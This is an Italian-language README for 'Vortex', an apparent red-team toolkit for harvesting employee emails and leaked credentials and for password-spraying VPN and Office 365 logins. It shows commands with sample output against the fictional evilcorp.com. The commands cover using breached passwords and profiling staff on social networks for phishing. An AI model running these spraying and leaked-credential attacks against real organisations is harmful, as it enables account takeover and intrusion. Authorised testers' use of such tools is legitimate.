
Toolkit completo per ricognizione, test, enumerazione e sfruttamento di VPN
🚩 Questo è il repository pubblico di vortex, per l'ultima versione e gli aggiornamenti ti invitiamo a supportarci tramite https://porchetta.industries/
VPN Overall Reconnaissance, Testing, Enumeration and Exploitation Toolkit
Se desideri sponsorizzare questo progetto e avere gli ultimi aggiornamenti su vortex, gli ultimi bug corretti e le nuove funzionalità, supportaci su https://porchetta.industries/
Vieni a chiacchierare su Discord!
Un framework Python molto semplice, ispirato a [SprayingToolkit][1], che cerca di automatizzare gran parte del processo necessario per rilevare, enumerare e attaccare gli endpoint comuni di O365 e VPN (come Cisco, Citrix, Fortinet, Pulse, ecc...).
Rendere la fase di spraying delle VPN molto più rapida e semplice. Inoltre, grazie alla sua flessibilità, questo strumento può essere facilmente integrato in un flusso di lavoro OSINT esistente.
Vortex fornisce principalmente assistenza nell'esecuzione dei seguenti compiti:
Installa i prerequisiti con pip3 come segue:``` sudo -H pip3 install -r requirements.txt
### Install with Virtualenv
Altrimenti, puoi installare i prerequisiti utilizzando un ambiente virtuale:
###### Su Windows```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## Utilizzo
L'uso dello strumento è abbastanza semplice, ma c'è un flusso di lavoro da rispettare. Lo strumento
utilizza un database SQLite per memorizzare le informazioni sull'attacco corrente.
### Workspace
Il workspace rappresenta il file di database utilizzato dallo strumento. Il nome dovrebbe essere solo un
semplice nome per etichettare l'attacco, il progetto o il target corrente.
A ciascun workspace viene assegnato un database SQLite. Quando specifichi un nome di workspace,
come:```
python manage.py -w workspace1
Ciò che stai effettivamente dicendo è "Voglio operare sul file workspace1.db".
Per funzionare correttamente, Vortex deve inizializzare il DB con gli schemi corretti. Per fare ciò, l'unica cosa da fare è eseguire il comando:``` python manage.py -w workspace1 db -c init
Se un utente cerca di saltare questa fase, Vortex si limiterà a stampare a schermo il comando corretto da eseguire prima.```
[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
Invece, quando si esegue lo stesso comando su un DB esistente e inizializzato, Vortex chiederà conferma prima di sovrascrivere il file del DB:``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y
### Azioni e comandi
Vortex funziona con un argomento posizionale, l'"Azione", e altri valori chiave.
Il più importante tra questi è l'argomento del comando (`-c cmd`). In combinazione con
il valore dell'azione, il comando definisce cosa Vortex deve fare.
È possibile vedere l'elenco delle azioni supportate dall'Help:```
python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute
optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endpoint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
Come si può osservare dall'help, l'elenco dei comandi supportati per ogni azione non è specificato da nessuna parte. Questo perché non è necessario specificare direttamente un comando. Infatti, se un comando non viene specificato, Vortex chiederà all'utente di selezionarne uno tra i comandi disponibili per l'azione specificata.``` python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>
Lo stesso vale per gli argomenti necessari a una routine specifica. Se un argomento è difficile da inserire in fase di esecuzione, Vortex ricorderà gentilmente all'utente che il parametro è obbligatorio. Altrimenti, Vortex guiderà l'utente nella selezione o nell'inserimento degli argomenti necessari.
Ad esempio, se un utente volesse esportare una tabella specifica o anche una colonna, l'unica cosa necessaria sarebbe lanciare il comando di esportazione, come osservabile dall'immagine qui sotto:

Questo tipo di comportamento rende Vortex molto facile da usare.
### Flusso di lavoro generale
Vortex è stato progettato per aderire a un flusso di lavoro operativo specifico, riassunto nello schema seguente:

### Operazioni
#### Raccogli utenti
La raccolta di utenti validi per un target specifico può essere effettuata utilizzando tre diverse fonti:
* LinkedIn
Questa fonte è stata rimossa per violazione delle politiche utente di LinkedIn. Puoi comunque operare su LinkedIn utilizzando [GoMapEnum](https://github.com/nodauf/GoMapEnum), e poi importare gli indirizzi email usando il comando `import`.
Ancora, tieni presente che l'uso di questa funzionalità è una violazione del contratto utente di LinkedIn, come osservabile al punto [8.2](https://www.linkedin.com/legal/user-agreement#dos) del contratto utente di LinkedIn:
> Accetti di non: [...]
> 2. Sviluppare, supportare o utilizzare software, dispositivi, script, robot o qualsiasi altro mezzo o processo (inclusi crawler, plugin del browser e add-on o qualsiasi altra tecnologia) per fare scraping dei Servizi o comunque copiare profili e altri dati dai Servizi;
* CrossLinked
Per sostituire parzialmente la funzionalità di cui sopra, lo strumento incorpora una versione adattata di [CrossLinked](https://github.com/m8r0wn/CrossLinked). Questo strumento tenterà di rilevare i dipendenti di un'azienda utilizzando Google e Bing. Non è certamente la stessa cosa che cercare direttamente su LinkedIn, ma è piuttosto utile.
Per funzionare correttamente, lo strumento chiederà all'utente quale formato utilizzare per i nomi utente (es. john.doe, j.doe o d.john) e quale sia il dominio standard utilizzato dal dominio target.```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
Questa fonte è gestita utilizzando una versione ridotta e modificata di theHarvester. Lo strumento cercherà di estrarre nomi/email da Google (Raccolta Passiva) utilizzando Google Dorks, e dal sito web dell'azienda (Raccolta Attiva).``` python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...
[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!
* PwnDB
Questa fonte è gestita usando una versione portata di quella implementata in [sn0int](https://github.com/kpcyrd/sn0int).
**Nota**: questa funzionalità richiede di essere connessi alla rete TOR. Su Windows, è possibile utilizzare la versione integrata fornita con Vortex. Su Linux, invece, è necessario installare il pacchetto tor (ad es. `sudo apt-get install tor` su Kali).
##### Avvia TOR```
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!
##### Ferma TOR```
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
Vortex utilizza principalmente due macro-categorie per gli endpoint: VPN e Microsoft (Office). Un target può essere aggiunto sia come endpoint Office che VPN, e Vortex proverà a validare l'endpoint rispettivamente come endpoint Office o VPN, utilizzando una serie di validatori.
Chiariamo con un esempio. L'utente deve attaccare il target evilcorp.com, e vuole verificare se il dominio è un target OWA, Lync, ADFS o O365.```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!
##### Cerca sottodomini per endpoint VPN
Per gli endpoint VPN, l'utente può effettuare una ricerca di sottodomini per trovare host che eseguono login web VPN,
in questo modo:```
python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting subdomain passive enumeration
[>] Found 10 subdomains
[$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
[>] Found 1 hosts with a VPN web login
[$] Elapsed time: 32.919618368148804
[*] Updating DB...
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done
Per aggiungere manualmente gli endpoint VPN, ovviamente, specificare il dominio di primo livello probabilmente non sarebbe sufficiente. Il modo corretto sarebbe specificare un sottodominio specifico insieme alla porta specifica su cui è in esecuzione il server web VPN.``` python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
#### Effettua un attacco di password spray o brute force contro OWA, ADFS, LYNC o O365
Per effettuare un attacco di password spray o anche brute force, l'unica risorsa richiesta è un elenco di password in forma di file di testo, con una password per riga.```
python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
$> 4
[*] Running O365Enumerator
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Per eseguire un attacco di password spray o anche di forza bruta, l'unica risorsa richiesta è un elenco di password sotto forma di file di testo, con una password per riga.``` python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### Eseguire un password spray o brute force utilizzando credenziali trapelate
Poiché Vortex tiene traccia delle credenziali trapelate su PwnDB, un utente può selezionare di testare tutte le credenziali trapelate invece di fornire un file di password.
Tuttavia, considera che questo comportamento è molto diverso da un normale password spray.
In un normale attacco di password spraying, infatti, una singola password viene provata contro tutti gli utenti. In un attacco con credenziali trapelate, le credenziali trapelate vengono testate contro l'utente specifico con cui sono state trapelate. Quindi, ad esempio, se Vortex ha trovato le perdite:```
User Leaks
---------------------------- ----------------------------
[email protected] ["ISecretlyLoveAngela2020!"]
[email protected] ["Puppy19!", "MySweetJ111!"]
Vortex eseguirà i seguenti tentativi, e solo i seguenti:``` [email protected]:ISecretlyLoveAngela2020! [email protected]:Puppy19! [email protected]:MySweetJ111!
Per eseguire questo attacco, non è necessario alcun file di password, ma è richiesto impostare
il parametro (-L, o --leaks).```
python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[+] [email protected]:ISecretlyLoveAngela2020! is valid!
[-] [email protected]:Puppy19! is not valid.
[-] [email protected]:MySweetJ111! is not valid.
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Questo è tutto. A volte lo strumento può chiedere ulteriori informazioni prima di eseguire un attacco, come ad esempio selezionare il realm/gruppo VPN.
In qualsiasi momento, puoi vedere gli accessi validi che hai trovato usando il seguente comando:
ValidLogins
python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password
1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done
#### Ricerca di Profili sui Social Network
A volte, in impegni di grandi dimensioni, conoscere un po' di più sui nostri target ci ha aiutato a violare le loro difese, come utilizzare email personali o account social per phishing, o anche trovare risposte alle domande di sicurezza per il reset delle password.
Per questo motivo, ho integrato [Profil3r](https://github.com/Greyjedix/Profil3r). Questo strumento cerca di identificare account di social network potenzialmente correlati a un individuo.
**NOTA IMPORTANTE**: Profil3r cerca di localizzare profili validi utilizzando combinazioni di nomi. Non può garantire che i profili trovati siano realmente correlati alla persona target. Per questo motivo, i profili non vengono aggiunti automaticamente al database di Vortex.
Attualmente, è possibile operare con Profil3r in due modalità:
* modalità singola
* modalità multipla
La modalità singola opera su un set di parole chiave fornite dall'utente:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!
La modalità multipla opera sul nome e cognome di ogni utente nel DB. Qualsiasi parola chiave aggiuntiva passata in modalità multipla viene utilizzata in combinazione con nome e cognome degli utenti. Quindi, ad esempio, puoi usare nomi o numeri aggiuntivi per personalizzare la ricerca del profilo.``` python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!
#### Importazione di Dati Esterni
Vortex offre anche supporto per l'importazione di dati esterni relativi a utenti o endpoint.
Attualmente, sono supportati solo file di testo semplice e c'è un supporto limitato anche per CSV.
I tipi di dati che possono essere importati finora sono:
* Indirizzi email
* Nomi utente
* Endpoint VPN (target:porta)
* Domini
* ~~Leaks da PwnDB~~ DEPRECATO: usa semplicemente il comando search
* Dati LinkedIn estratti con ~~Blues~~
Ogni tipo di dato è supportato in formato file di testo normale, un elemento per riga.
## Roadmap
Nuove funzionalità sono in arrivo presto (2022):
* Generazione intelligente di elenchi di password
* Estrazione e correlazione dei dati
Per favore invia bug, suggerimenti o richieste di funzionalità.
## Credits
* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): Per il suo fantastico lavoro su [SprayingToolkit][1], che ha ispirato il progetto
* [nodauf](https://twitter.com/nodauf): Per il suo lavoro su [GoMapEnum](https://github.com/nodauf/GoMapEnum), che mi ha dato altre idee
* [quasart](https://github.com/quasart): Il logo è stato generato con [spiral](https://github.com/quasart/spiral)
* [m8r0wn](https://twitter.com/m8r0wn): Per il suo lavoro su [CrossLinked](https://github.com/m8r0wn/CrossLinked), che è davvero uno strumento fantastico
* [Greyjedix](https://github.com/Greyjedix/): Per il suo lavoro su [Profil3r](https://github.com/Greyjedix/Profil3r), che è uno strumento molto utile in determinate circostanze
[1]: https://github.com/byt3bl33d3r/SprayingToolkit